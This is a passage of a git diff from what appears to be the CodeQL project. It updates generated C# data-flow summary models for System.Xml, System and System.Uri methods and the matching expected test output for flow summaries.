["System.Xml.Xsl.Runtime", "XmlQueryRuntime", "get_XsltFunctions", "()", "summary", "df-generated"] - ["System.Xml.Xsl.Runtime", "XmlQuerySequence", "Clear", "()", "summary", "df-generated"] diff --git a/csharp/ql/lib/ext/generated/System.Xml.model.yml b/csharp/ql/lib/ext/generated/System.Xml.model.yml index 60dfe8192323..884ac93a9169 100644 --- a/csharp/ql/lib/ext/generated/System.Xml.model.yml +++ b/csharp/ql/lib/ext/generated/System.Xml.model.yml @@ -260,6 +260,7 @@ extensions: - ["System.Xml", "XmlNamespaceManager", True, "get_NameTable", "()", "", "Argument[this].SyntheticField[System.Xml.XmlNamespaceManager._nameTable]", "ReturnValue", "value", "dfc-generated"] - ["System.Xml", "XmlNode", True, "AppendChild", "(System.Xml.XmlNode)", "", "Argument[0].Element", "Argument[this]", "taint", "df-generated"] - ["System.Xml", "XmlNode", True, "AppendChild", "(System.Xml.XmlNode)", "", "Argument[0].Element", "ReturnValue", "taint", "df-generated"] + - ["System.Xml", "XmlNode", True, "AppendChild", "(System.Xml.XmlNode)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["System.Xml", "XmlNode", True, "AppendChild", "(System.Xml.XmlNode)", "", "Argument[this]", "Argument[0].Element", "taint", "df-generated"] - ["System.Xml", "XmlNode", True, "AppendChild", "(System.Xml.XmlNode)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Xml", "XmlNode", True, "Clone", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] @@ -269,6 +270,7 @@ extensions: - ["System.Xml", "XmlNode", True, "InsertAfter", "(System.Xml.XmlNode,System.Xml.XmlNode)", "", "Argument[0].Element", "Argument[1].Element", "taint", "df-generated"] - ["System.Xml", "XmlNode", True, "InsertAfter", "(System.Xml.XmlNode,System.Xml.XmlNode)", "", "Argument[0].Element", "Argument[this]", "taint", "df-generated"] - ["System.Xml", "XmlNode", True, "InsertAfter", "(System.Xml.XmlNode,System.Xml.XmlNode)", "", "Argument[0].Element", "ReturnValue", "taint", "df-generated"] + - ["System.Xml", "XmlNode", True, "InsertAfter", "(System.Xml.XmlNode,System.Xml.XmlNode)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["System.Xml", "XmlNode", True, "InsertAfter", "(System.Xml.XmlNode,System.Xml.XmlNode)", "", "Argument[1].Element", "Argument[0].Element", "taint", "df-generated"] - ["System.Xml", "XmlNode", True, "InsertAfter", "(System.Xml.XmlNode,System.Xml.XmlNode)", "", "Argument[1].Element", "Argument[this]", "taint", "df-generated"] - ["System.Xml", "XmlNode", True, "InsertAfter", "(System.Xml.XmlNode,System.Xml.XmlNode)", "", "Argument[1].Element", "ReturnValue", "taint", "df-generated"] @@ -277,20 +279,21 @@ extensions: - ["System.Xml", "XmlNode", True, "InsertBefore", "(System.Xml.XmlNode,System.Xml.XmlNode)", "", "Argument[0].Element", "Argument[1].Element", "taint", "df-generated"] - ["System.Xml", "XmlNode", True, "InsertBefore", "(System.Xml.XmlNode,System.Xml.XmlNode)", "", "Argument[0].Element", "Argument[this]", "taint", "df-generated"] - ["System.Xml", "XmlNode", True, "InsertBefore", "(System.Xml.XmlNode,System.Xml.XmlNode)", "", "Argument[0].Element", "ReturnValue", "taint", "df-generated"] + - ["System.Xml", "XmlNode", True, "InsertBefore", "(System.Xml.XmlNode,System.Xml.XmlNode)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["System.Xml", "XmlNode", True, "InsertBefore", "(System.Xml.XmlNode,System.Xml.XmlNode)", "", "Argument[1].Element", "Argument[0].Element", "taint", "df-generated"] - ["System.Xml", "XmlNode", True, "InsertBefore", "(System.Xml.XmlNode,System.Xml.XmlNode)", "", "Argument[1].Element", "ReturnValue", "taint", "df-generated"] - ["System.Xml", "XmlNode", True, "InsertBefore", "(System.Xml.XmlNode,System.Xml.XmlNode)", "", "Argument[this]", "Argument[0].Element", "taint", "df-generated"] - ["System.Xml", "XmlNode", True, "InsertBefore", "(System.Xml.XmlNode,System.Xml.XmlNode)", "", "Argument[this]", "Argument[1].Element", "taint", "df-generated"] - ["System.Xml", "XmlNode", True, "InsertBefore", "(System.Xml.XmlNode,System.Xml.XmlNode)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Xml", "XmlNode", True, "PrependChild", "(System.Xml.XmlNode)", "", "Argument[0].Element", "Argument[this]", "taint", "df-generated"] - - ["System.Xml", "XmlNode", True, "PrependChild", "(System.Xml.XmlNode)", "", "Argument[0].Element", "ReturnValue", "taint", "df-generated"] + - ["System.Xml", "XmlNode", True, "PrependChild", "(System.Xml.XmlNode)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["System.Xml", "XmlNode", True, "PrependChild", "(System.Xml.XmlNode)", "", "Argument[this]", "Argument[0].Element", "taint", "df-generated"] - ["System.Xml", "XmlNode", True, "PrependChild", "(System.Xml.XmlNode)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Xml", "XmlNode", True, "RemoveChild", "(System.Xml.XmlNode)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Xml", "XmlNode", True, "ReplaceChild", "(System.Xml.XmlNode,System.Xml.XmlNode)", "", "Argument[0].Element", "Argument[this]", "taint", "df-generated"] - ["System.Xml", "XmlNode", True, "ReplaceChild", "(System.Xml.XmlNode,System.Xml.XmlNode)", "", "Argument[1].Element", "Argument[0].Element", "taint", "df-generated"] - ["System.Xml", "XmlNode", True, "ReplaceChild", "(System.Xml.XmlNode,System.Xml.XmlNode)", "", "Argument[1].Element", "Argument[this]", "taint", "df-generated"] - - ["System.Xml", "XmlNode", True, "ReplaceChild", "(System.Xml.XmlNode,System.Xml.XmlNode)", "", "Argument[1].Element", "ReturnValue", "taint", "df-generated"] + - ["System.Xml", "XmlNode", True, "ReplaceChild", "(System.Xml.XmlNode,System.Xml.XmlNode)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] - ["System.Xml", "XmlNode", True, "ReplaceChild", "(System.Xml.XmlNode,System.Xml.XmlNode)", "", "Argument[this]", "Argument[0].Element", "taint", "df-generated"] - ["System.Xml", "XmlNode", True, "WriteContentTo", "(System.Xml.XmlWriter)", "", "Argument[this]", "Argument[0]", "taint", "df-generated"] - ["System.Xml", "XmlNode", True, "WriteTo", "(System.Xml.XmlWriter)", "", "Argument[this]", "Argument[0]", "taint", "df-generated"] @@ -386,13 +389,14 @@ extensions: - ["System.Xml", "XmlReader", True, "get_Value", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Xml", "XmlReader", True, "get_XmlLang", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Xml", "XmlReaderSettings", False, "set_XmlResolver", "(System.Xml.XmlResolver)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - - ["System.Xml", "XmlResolver", True, "GetEntity", "(System.Uri,System.String,System.Type)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["System.Xml", "XmlResolver", True, "GetEntity", "(System.Uri,System.String,System.Type)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] - ["System.Xml", "XmlResolver", True, "GetEntityAsync", "(System.Uri,System.String,System.Type)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["System.Xml", "XmlResolver", True, "ResolveUri", "(System.Uri,System.String)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Xml", "XmlResolver", True, "ResolveUri", "(System.Uri,System.String)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] - ["System.Xml", "XmlResolver", True, "set_Credentials", "(System.Net.ICredentials)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["System.Xml", "XmlSecureResolver", True, "GetEntity", "(System.Uri,System.String,System.Type)", "", "Argument[0].Property[System.Uri.LocalPath]", "ReturnValue", "taint", "dfc-generated"] - ["System.Xml", "XmlSecureResolver", True, "GetEntityAsync", "(System.Uri,System.String,System.Type)", "", "Argument[0].Property[System.Uri.LocalPath]", "ReturnValue.Property[System.Threading.Tasks.Task`1.Result]", "taint", "dfc-generated"] + - ["System.Xml", "XmlSecureResolver", True, "GetEntityAsync", "(System.Uri,System.String,System.Type)", "", "Argument[0]", "ReturnValue.Property[System.Threading.Tasks.Task`1.Result]", "taint", "dfc-generated"] - ["System.Xml", "XmlText", True, "SplitText", "(System.Int32)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Xml", "XmlTextReader", False, "GetRemainder", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Xml", "XmlTextReader", False, "XmlTextReader", "(System.IO.Stream,System.Xml.XmlNodeType,System.Xml.XmlParserContext)", "", "Argument[2]", "Argument[this]", "taint", "df-generated"] @@ -445,8 +449,8 @@ extensions: - ["System.Xml", "XmlWriter", False, "Create", "(System.Text.StringBuilder)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["System.Xml", "XmlWriter", False, "Create", "(System.Text.StringBuilder,System.Xml.XmlWriterSettings)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["System.Xml", "XmlWriter", False, "Create", "(System.Text.StringBuilder,System.Xml.XmlWriterSettings)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] - - ["System.Xml", "XmlWriter", False, "Create", "(System.Xml.XmlWriter)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["System.Xml", "XmlWriter", False, "Create", "(System.Xml.XmlWriter,System.Xml.XmlWriterSettings)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["System.Xml", "XmlWriter", False, "Create", "(System.Xml.XmlWriter)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["System.Xml", "XmlWriter", False, "Create", "(System.Xml.XmlWriter,System.Xml.XmlWriterSettings)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["System.Xml", "XmlWriter", False, "Create", "(System.Xml.XmlWriter,System.Xml.XmlWriterSettings)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] - ["System.Xml", "XmlWriter", False, "WriteAttributeString", "(System.String,System.String)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["System.Xml", "XmlWriter", False, "WriteAttributeString", "(System.String,System.String)", "", "Argument[1]", "Argument[this]", "taint", "df-generated"] diff --git a/csharp/ql/lib/ext/generated/System.model.yml b/csharp/ql/lib/ext/generated/System.model.yml index 7265d33e2992..76de1acd16ce 100644 --- a/csharp/ql/lib/ext/generated/System.model.yml +++ b/csharp/ql/lib/ext/generated/System.model.yml @@ -45,6 +45,7 @@ extensions: - ["System", "ArraySegment", False, "Slice", "(System.Int32,System.Int32)", "", "Argument[this].SyntheticField[System.ArraySegment`1._array]", "ReturnValue.SyntheticField[System.ArraySegment`1._array]", "value", "dfc-generated"] - ["System", "ArraySegment", False, "get_Array", "()", "", "Argument[this].SyntheticField[System.ArraySegment`1._array]", "ReturnValue", "value", "dfc-generated"] - ["System", "ArraySegment", False, "get_Item", "(System.Int32)", "", "Argument[this].SyntheticField[System.ArraySegment`1._array].Element", "ReturnValue", "value", "dfc-generated"] + - ["System", "ArraySegment", False, "set_Item", "(System.Int32,T)", "", "Argument[1]", "Argument[this].SyntheticField[System.ArraySegment`1._array].Element", "value", "dfc-generated"] - ["System", "Attribute", True, "get_TypeId", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System", "BadImageFormatException", False, "BadImageFormatException", "(System.Runtime.Serialization.SerializationInfo,System.Runtime.Serialization.StreamingContext)", "", "Argument[0].SyntheticField[System.Runtime.Serialization.SerializationInfo._values].Element", "Argument[this].SyntheticField[System.BadImageFormatException._fileName]", "value", "dfc-generated"] - ["System", "BadImageFormatException", False, "BadImageFormatException", "(System.Runtime.Serialization.SerializationInfo,System.Runtime.Serialization.StreamingContext)", "", "Argument[0].SyntheticField[System.Runtime.Serialization.SerializationInfo._values].Element", "Argument[this].SyntheticField[System.BadImageFormatException._fusionLog]", "value", "dfc-generated"] @@ -94,7 +95,7 @@ extensions: - ["System", "Exception", False, "Exception", "(System.String,System.Exception)", "", "Argument[1]", "Argument[this].SyntheticField[System.Exception._innerException]", "value", "dfc-generated"] - ["System", "Exception", False, "ToString", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System", "Exception", False, "get_InnerException", "()", "", "Argument[this].SyntheticField[System.Exception._innerException]", "ReturnValue", "value", "dfc-generated"] - - ["System", "Exception", True, "GetBaseException", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System", "Exception", True, "GetBaseException", "()", "", "Argument[this]", "ReturnValue", "value", "df-generated"] - ["System", "Exception", True, "get_Message", "()", "", "Argument[this].SyntheticField[System.Exception._message]", "ReturnValue", "value", "dfc-generated"] - ["System", "Exception", True, "get_StackTrace", "()", "", "Argument[this].SyntheticField[System.Exception._remoteStackTraceString]", "ReturnValue", "value", "dfc-generated"] - ["System", "FormattableString", False, "CurrentCulture", "(System.FormattableString)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] @@ -717,28 +718,17 @@ extensions: - ["System", "Uri", False, "GetComponents", "(System.UriComponents,System.UriFormat)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System", "Uri", False, "GetLeftPart", "(System.UriPartial)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System", "Uri", False, "MakeRelative", "(System.Uri)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["System", "Uri", False, "MakeRelativeUri", "(System.Uri)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["System", "Uri", False, "ToString", "(System.String,System.IFormatProvider)", "", "Argument[this].SyntheticField[System.Uri._string]", "ReturnValue", "value", "dfc-generated"] - - ["System", "Uri", False, "TryCreate", "(System.String,System.UriCreationOptions,System.Uri)", "", "Argument[0]", "Argument[2].SyntheticField[System.Uri._string]", "value", "dfc-generated"] - - ["System", "Uri", False, "TryCreate", "(System.String,System.UriKind,System.Uri)", "", "Argument[0]", "Argument[2].SyntheticField[System.Uri._string]", "value", "dfc-generated"] - - ["System", "Uri", False, "TryCreate", "(System.Uri,System.String,System.Uri)", "", "Argument[1]", "Argument[2].SyntheticField[System.Uri._string]", "value", "dfc-generated"] - - ["System", "Uri", False, "TryCreate", "(System.Uri,System.Uri,System.Uri)", "", "Argument[0]", "Argument[2]", "taint", "df-generated"] - - ["System", "Uri", False, "TryCreate", "(System.Uri,System.Uri,System.Uri)", "", "Argument[1]", "Argument[2]", "taint", "df-generated"] + - ["System", "Uri", False, "MakeRelativeUri", "(System.Uri)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["System", "Uri", False, "TryEscapeDataString", "(System.ReadOnlySpan,System.Span,System.Int32)", "", "Argument[0].Element", "Argument[1].Element", "value", "dfc-generated"] - ["System", "Uri", False, "TryUnescapeDataString", "(System.ReadOnlySpan,System.Span,System.Int32)", "", "Argument[0].Element", "Argument[1].Element", "value", "dfc-generated"] - ["System", "Uri", False, "UnescapeDataString", "(System.ReadOnlySpan)", "", "Argument[0].Element", "ReturnValue", "taint", "dfc-generated"] - ["System", "Uri", False, "UnescapeDataString", "(System.String)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["System", "Uri", False, "Uri", "(System.String,System.UriCreationOptions)", "", "Argument[0]", "Argument[this].SyntheticField[System.Uri._string]", "value", "dfc-generated"] - - ["System", "Uri", False, "Uri", "(System.Uri,System.String)", "", "Argument[1]", "Argument[this].SyntheticField[System.Uri._string]", "value", "dfc-generated"] - - ["System", "Uri", False, "Uri", "(System.Uri,System.String,System.Boolean)", "", "Argument[1]", "Argument[this].SyntheticField[System.Uri._string]", "value", "dfc-generated"] - ["System", "Uri", False, "Uri", "(System.Uri,System.Uri)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["System", "Uri", False, "Uri", "(System.Uri,System.Uri)", "", "Argument[1]", "Argument[this]", "taint", "df-generated"] - ["System", "Uri", False, "get_AbsolutePath", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System", "Uri", False, "get_Authority", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System", "Uri", False, "get_DnsSafeHost", "()", "", "Argument[this].Property[System.Uri.IdnHost]", "ReturnValue", "value", "dfc-generated"] - ["System", "Uri", False, "get_Host", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System", "Uri", False, "get_IdnHost", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System", "Uri", False, "get_LocalPath", "()", "", "Argument[this].SyntheticField[System.Uri._string]", "ReturnValue", "value", "dfc-generated"] - ["System", "Uri", False, "get_Scheme", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System", "Uri", False, "get_UserInfo", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System", "UriParser", False, "Register", "(System.UriParser,System.String,System.Int32)", "", "Argument[1]", "Argument[0]", "taint", "df-generated"] @@ -1031,7 +1021,6 @@ extensions: - ["System", "ArraySegment", "get_Offset", "()", "summary", "df-generated"] - ["System", "ArraySegment", "op_Equality", "(System.ArraySegment,System.ArraySegment)", "summary", "df-generated"] - ["System", "ArraySegment", "op_Inequality", "(System.ArraySegment,System.ArraySegment)", "summary", "df-generated"] - - ["System", "ArraySegment", "set_Item", "(System.Int32,T)", "summary", "df-generated"] - ["System", "ArrayTypeMismatchException", "ArrayTypeMismatchException", "(System.Runtime.Serialization.SerializationInfo,System.Runtime.Serialization.StreamingContext)", "summary", "df-generated"] - ["System", "ArrayTypeMismatchException", "ArrayTypeMismatchException", "(System.String)", "summary", "df-generated"] - ["System", "ArrayTypeMismatchException", "ArrayTypeMismatchException", "(System.String,System.Exception)", "summary", "df-generated"] @@ -5373,7 +5362,6 @@ extensions: - ["System", "Uri", "TryFormat", "(System.Span,System.Int32,System.ReadOnlySpan,System.IFormatProvider)", "summary", "df-generated"] - ["System", "Uri", "Unescape", "(System.String)", "summary", "df-generated"] - ["System", "Uri", "Uri", "(System.Runtime.Serialization.SerializationInfo,System.Runtime.Serialization.StreamingContext)", "summary", "df-generated"] - - ["System", "Uri", "get_AbsoluteUri", "()", "summary", "df-generated"] - ["System", "Uri", "get_Fragment", "()", "summary", "df-generated"] - ["System", "Uri", "get_HostNameType", "()", "summary", "df-generated"] - ["System", "Uri", "get_IsAbsoluteUri", "()", "summary", "df-generated"] From 8603d76e2abe7050e24521db8ffa78ae04228b52 Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Tue, 13 May 2025 14:15:10 +0200 Subject: [PATCH 132/535] C#: Update flowsummaries expected test file. --- .../dataflow/library/FlowSummaries.expected | 485 +++++++++++++----- .../library/FlowSummariesFiltered.expected | 418 +++++++++++---- 2 files changed, 670 insertions(+), 233 deletions(-) diff --git a/csharp/ql/test/library-tests/dataflow/library/FlowSummaries.expected b/csharp/ql/test/library-tests/dataflow/library/FlowSummaries.expected index 21fcfa594e61..c3eb0402922c 100644 --- a/csharp/ql/test/library-tests/dataflow/library/FlowSummaries.expected +++ b/csharp/ql/test/library-tests/dataflow/library/FlowSummaries.expected @@ -1553,6 +1553,7 @@ summary | Microsoft.AspNetCore.Mvc;MvcViewOptions;GetEnumerator;();Argument[this].Element;ReturnValue.Property[System.Collections.IEnumerator.Current];value;manual | | Microsoft.AspNetCore.Mvc;RemoteAttributeBase;FormatErrorMessage;(System.String);Argument[0];ReturnValue;taint;dfc-generated | | Microsoft.AspNetCore.Mvc;RemoteAttributeBase;FormatErrorMessage;(System.String);Argument[this].Property[System.ComponentModel.DataAnnotations.ValidationAttribute.ErrorMessageString];ReturnValue;taint;dfc-generated | +| Microsoft.AspNetCore.Mvc;RemoteAttributeBase;IsValid;(System.Object);Argument[0];Argument[this];taint;df-generated | | Microsoft.AspNetCore.OutputCaching;OutputCacheOptions;AddBasePolicy;(System.Action);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | | Microsoft.AspNetCore.OutputCaching;OutputCacheOptions;AddBasePolicy;(System.Action,System.Boolean);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | | Microsoft.AspNetCore.OutputCaching;OutputCacheOptions;AddPolicy;(System.String,System.Action);Argument[1];Argument[1].Parameter[delegate-self];value;hq-generated | @@ -1882,9 +1883,9 @@ summary | Microsoft.Extensions.Configuration;CommandLineConfigurationExtensions;AddCommandLine;(Microsoft.Extensions.Configuration.IConfigurationBuilder,System.String[],System.Collections.Generic.IDictionary);Argument[2];Argument[0];taint;manual | | Microsoft.Extensions.Configuration;CommandLineConfigurationExtensions;AddCommandLine;(Microsoft.Extensions.Configuration.IConfigurationBuilder,System.String[],System.Collections.Generic.IDictionary);Argument[2];ReturnValue;taint;manual | | Microsoft.Extensions.Configuration;ConfigurationBinder;Bind;(Microsoft.Extensions.Configuration.IConfiguration,System.Object,System.Action);Argument[2];Argument[2].Parameter[delegate-self];value;hq-generated | -| Microsoft.Extensions.Configuration;ConfigurationBinder;Get;(Microsoft.Extensions.Configuration.IConfiguration,System.Type);Argument[0];ReturnValue;taint;df-generated | +| Microsoft.Extensions.Configuration;ConfigurationBinder;Get;(Microsoft.Extensions.Configuration.IConfiguration,System.Type);Argument[0];ReturnValue;value;df-generated | | Microsoft.Extensions.Configuration;ConfigurationBinder;Get;(Microsoft.Extensions.Configuration.IConfiguration,System.Type,System.Action);Argument[2];Argument[2].Parameter[delegate-self];value;hq-generated | -| Microsoft.Extensions.Configuration;ConfigurationBinder;Get;(Microsoft.Extensions.Configuration.IConfiguration);Argument[0];ReturnValue;taint;df-generated | +| Microsoft.Extensions.Configuration;ConfigurationBinder;Get;(Microsoft.Extensions.Configuration.IConfiguration);Argument[0];ReturnValue;value;df-generated | | Microsoft.Extensions.Configuration;ConfigurationBinder;Get;(Microsoft.Extensions.Configuration.IConfiguration,System.Action);Argument[1];Argument[1].Parameter[delegate-self];value;hq-generated | | Microsoft.Extensions.Configuration;ConfigurationBinder;GetValue;(Microsoft.Extensions.Configuration.IConfiguration,System.Type,System.String,System.Object);Argument[3];ReturnValue;value;dfc-generated | | Microsoft.Extensions.Configuration;ConfigurationBinder;GetValue;(Microsoft.Extensions.Configuration.IConfiguration,System.String,T);Argument[2];ReturnValue;value;dfc-generated | @@ -6740,7 +6741,7 @@ summary | System.Collections.Concurrent;Partitioner;Create;(System.Collections.Generic.IEnumerable,System.Collections.Concurrent.EnumerablePartitionerOptions);Argument[0].Element;ReturnValue;taint;df-generated | | System.Collections.Concurrent;Partitioner;Create;(System.Collections.Generic.IList,System.Boolean);Argument[0].Element;ReturnValue;taint;df-generated | | System.Collections.Concurrent;Partitioner;Create;(TSource[],System.Boolean);Argument[0].Element;ReturnValue;taint;df-generated | -| System.Collections.Frozen;FrozenDictionary;ToFrozenDictionary;(System.Collections.Generic.IEnumerable>,System.Collections.Generic.IEqualityComparer);Argument[0].Element;ReturnValue;taint;df-generated | +| System.Collections.Frozen;FrozenDictionary;ToFrozenDictionary;(System.Collections.Generic.IEnumerable>,System.Collections.Generic.IEqualityComparer);Argument[0];ReturnValue;value;df-generated | | System.Collections.Frozen;FrozenDictionary;ToFrozenDictionary;(System.Collections.Generic.IEnumerable,System.Func,System.Func,System.Collections.Generic.IEqualityComparer);Argument[1];Argument[1].Parameter[delegate-self];value;hq-generated | | System.Collections.Frozen;FrozenDictionary;ToFrozenDictionary;(System.Collections.Generic.IEnumerable,System.Func,System.Func,System.Collections.Generic.IEqualityComparer);Argument[2];Argument[2].Parameter[delegate-self];value;hq-generated | | System.Collections.Frozen;FrozenDictionary;ToFrozenDictionary;(System.Collections.Generic.IEnumerable,System.Func,System.Collections.Generic.IEqualityComparer);Argument[1];Argument[1].Parameter[delegate-self];value;hq-generated | @@ -6777,7 +6778,7 @@ summary | System.Collections.Frozen;FrozenDictionary;set_Item;(TKey,TValue);Argument[1];Argument[this].Element.Property[System.Collections.Generic.KeyValuePair`2.Value];value;manual | | System.Collections.Frozen;FrozenSet;Create;(System.Collections.Generic.IEqualityComparer,System.ReadOnlySpan);Argument[1];ReturnValue;taint;df-generated | | System.Collections.Frozen;FrozenSet;Create;(System.ReadOnlySpan);Argument[0];ReturnValue;taint;df-generated | -| System.Collections.Frozen;FrozenSet;ToFrozenSet;(System.Collections.Generic.IEnumerable,System.Collections.Generic.IEqualityComparer);Argument[0].Element;ReturnValue;taint;df-generated | +| System.Collections.Frozen;FrozenSet;ToFrozenSet;(System.Collections.Generic.IEnumerable,System.Collections.Generic.IEqualityComparer);Argument[0];ReturnValue;value;df-generated | | System.Collections.Frozen;FrozenSet+AlternateLookup;Contains;(TAlternate);Argument[0];Argument[this];taint;df-generated | | System.Collections.Frozen;FrozenSet+AlternateLookup;TryGetValue;(TAlternate,T);Argument[0];Argument[this];taint;df-generated | | System.Collections.Frozen;FrozenSet+AlternateLookup;TryGetValue;(TAlternate,T);Argument[this];Argument[1];taint;df-generated | @@ -6924,8 +6925,12 @@ summary | System.Collections.Generic;LinkedList+Enumerator;get_Current;();Argument[this];ReturnValue;taint;df-generated | | System.Collections.Generic;LinkedList+Enumerator;get_Current;();Argument[this];ReturnValue;taint;dfc-generated | | System.Collections.Generic;LinkedList;Add;(T);Argument[0];Argument[this].Element;value;manual | +| System.Collections.Generic;LinkedList;AddAfter;(System.Collections.Generic.LinkedListNode,System.Collections.Generic.LinkedListNode);Argument[0].SyntheticField[System.Collections.Generic.LinkedListNode`1.next].SyntheticField[System.Collections.Generic.LinkedListNode`1.prev];Argument[1].SyntheticField[System.Collections.Generic.LinkedListNode`1.prev];value;dfc-generated | | System.Collections.Generic;LinkedList;AddAfter;(System.Collections.Generic.LinkedListNode,System.Collections.Generic.LinkedListNode);Argument[0].SyntheticField[System.Collections.Generic.LinkedListNode`1.next];Argument[1].SyntheticField[System.Collections.Generic.LinkedListNode`1.next];value;dfc-generated | +| System.Collections.Generic;LinkedList;AddAfter;(System.Collections.Generic.LinkedListNode,System.Collections.Generic.LinkedListNode);Argument[1];Argument[0].SyntheticField[System.Collections.Generic.LinkedListNode`1.next].SyntheticField[System.Collections.Generic.LinkedListNode`1.prev];value;dfc-generated | +| System.Collections.Generic;LinkedList;AddAfter;(System.Collections.Generic.LinkedListNode,T);Argument[0].SyntheticField[System.Collections.Generic.LinkedListNode`1.next].SyntheticField[System.Collections.Generic.LinkedListNode`1.prev];ReturnValue.SyntheticField[System.Collections.Generic.LinkedListNode`1.prev];value;dfc-generated | | System.Collections.Generic;LinkedList;AddAfter;(System.Collections.Generic.LinkedListNode,T);Argument[0].SyntheticField[System.Collections.Generic.LinkedListNode`1.next];ReturnValue.SyntheticField[System.Collections.Generic.LinkedListNode`1.next];value;dfc-generated | +| System.Collections.Generic;LinkedList;AddBefore;(System.Collections.Generic.LinkedListNode,System.Collections.Generic.LinkedListNode);Argument[1];Argument[0].SyntheticField[System.Collections.Generic.LinkedListNode`1.prev];value;dfc-generated | | System.Collections.Generic;LinkedList;AddBefore;(System.Collections.Generic.LinkedListNode,System.Collections.Generic.LinkedListNode);Argument[1];Argument[this].SyntheticField[System.Collections.Generic.LinkedList`1.head];value;dfc-generated | | System.Collections.Generic;LinkedList;AddBefore;(System.Collections.Generic.LinkedListNode,T);Argument[0];Argument[this];taint;df-generated | | System.Collections.Generic;LinkedList;AddBefore;(System.Collections.Generic.LinkedListNode,T);Argument[0];ReturnValue;taint;df-generated | @@ -6937,6 +6942,7 @@ summary | System.Collections.Generic;LinkedList;AddFirst;(T);Argument[0];Argument[this];taint;df-generated | | System.Collections.Generic;LinkedList;AddFirst;(T);Argument[0];ReturnValue;taint;df-generated | | System.Collections.Generic;LinkedList;AddFirst;(T);Argument[this];ReturnValue;taint;df-generated | +| System.Collections.Generic;LinkedList;AddLast;(System.Collections.Generic.LinkedListNode);Argument[this].SyntheticField[System.Collections.Generic.LinkedList`1.head].SyntheticField[System.Collections.Generic.LinkedListNode`1.prev];Argument[0].SyntheticField[System.Collections.Generic.LinkedListNode`1.prev];value;dfc-generated | | System.Collections.Generic;LinkedList;AddLast;(System.Collections.Generic.LinkedListNode);Argument[this].SyntheticField[System.Collections.Generic.LinkedList`1.head];Argument[0].SyntheticField[System.Collections.Generic.LinkedListNode`1.next];value;dfc-generated | | System.Collections.Generic;LinkedList;AddLast;(T);Argument[0];Argument[this];taint;df-generated | | System.Collections.Generic;LinkedList;AddLast;(T);Argument[0];ReturnValue;taint;df-generated | @@ -6953,8 +6959,9 @@ summary | System.Collections.Generic;LinkedList;LinkedList;(System.Collections.Generic.IEnumerable);Argument[0].Element;Argument[this];taint;df-generated | | System.Collections.Generic;LinkedList;LinkedList;(System.Runtime.Serialization.SerializationInfo,System.Runtime.Serialization.StreamingContext);Argument[0];Argument[this];taint;df-generated | | System.Collections.Generic;LinkedList;Remove;(System.Collections.Generic.LinkedListNode);Argument[0].SyntheticField[System.Collections.Generic.LinkedListNode`1.next];Argument[this].SyntheticField[System.Collections.Generic.LinkedList`1.head];value;dfc-generated | +| System.Collections.Generic;LinkedList;Remove;(System.Collections.Generic.LinkedListNode);Argument[0].SyntheticField[System.Collections.Generic.LinkedListNode`1.prev];Argument[this].SyntheticField[System.Collections.Generic.LinkedList`1.head].SyntheticField[System.Collections.Generic.LinkedListNode`1.prev];value;dfc-generated | | System.Collections.Generic;LinkedList;get_First;();Argument[this].SyntheticField[System.Collections.Generic.LinkedList`1.head];ReturnValue;value;dfc-generated | -| System.Collections.Generic;LinkedList;get_Last;();Argument[this];ReturnValue;taint;df-generated | +| System.Collections.Generic;LinkedList;get_Last;();Argument[this].SyntheticField[System.Collections.Generic.LinkedList`1.head].SyntheticField[System.Collections.Generic.LinkedListNode`1.prev];ReturnValue;value;dfc-generated | | 